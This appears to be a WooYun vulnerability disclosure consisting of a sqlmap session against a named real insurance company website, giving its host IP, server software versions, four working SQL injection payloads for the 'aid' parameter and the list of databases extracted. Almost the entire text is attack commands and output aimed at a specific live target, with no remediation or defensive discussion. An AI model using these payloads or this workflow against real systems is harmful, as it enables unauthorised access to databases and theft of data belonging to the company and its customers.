WooYun.org

Target: 		http://www.nissay-greatwall.com.cn/product/product.php?aid=126
Host IP:		222.73.5.159
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL >=5
Current DB: 	nissay

F:\Python27\sqlmap>sqlmap.py -u "http://www.nissay-greatwall.com.cn/product/prod
uct.php?aid=126" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150529}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 13:11:15
[13:11:15] [INFO] resuming back-end DBMS 'mysql'
[13:11:15] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: aid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: aid=126' AND 2562=2562 AND 'FGmo'='FGmo
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: aid=126' AND (SELECT 2985 FROM(SELECT COUNT(*),CONCAT(0x71786a7071,
(SELECT (ELT(2985=2985,1))),0x71717a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCH
EMA.CHARACTER_SETS GROUP BY x)a) AND 'oxUl'='oxUl
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: aid=126' AND (SELECT * FROM (SELECT(SLEEP(5)))lWDJ) AND 'pUce'='pUc
e
Type: UNION query
Title: Generic UNION query (NULL) - 24 columns
Payload: aid=126' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT
(0x71786a7071,0x4a4d466f474e6f4c496e,0x71717a7a71)--
---
[13:11:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
[13:11:17] [INFO] fetching database names
[13:11:17] [INFO] the SQL query used returns 3 entries
[13:11:17] [INFO] resumed: information_schema
[13:11:17] [INFO] resumed: nissay
[13:11:17] [INFO] resumed: test
available databases [3]:
[*] information_schema
[*] nissay
[*] test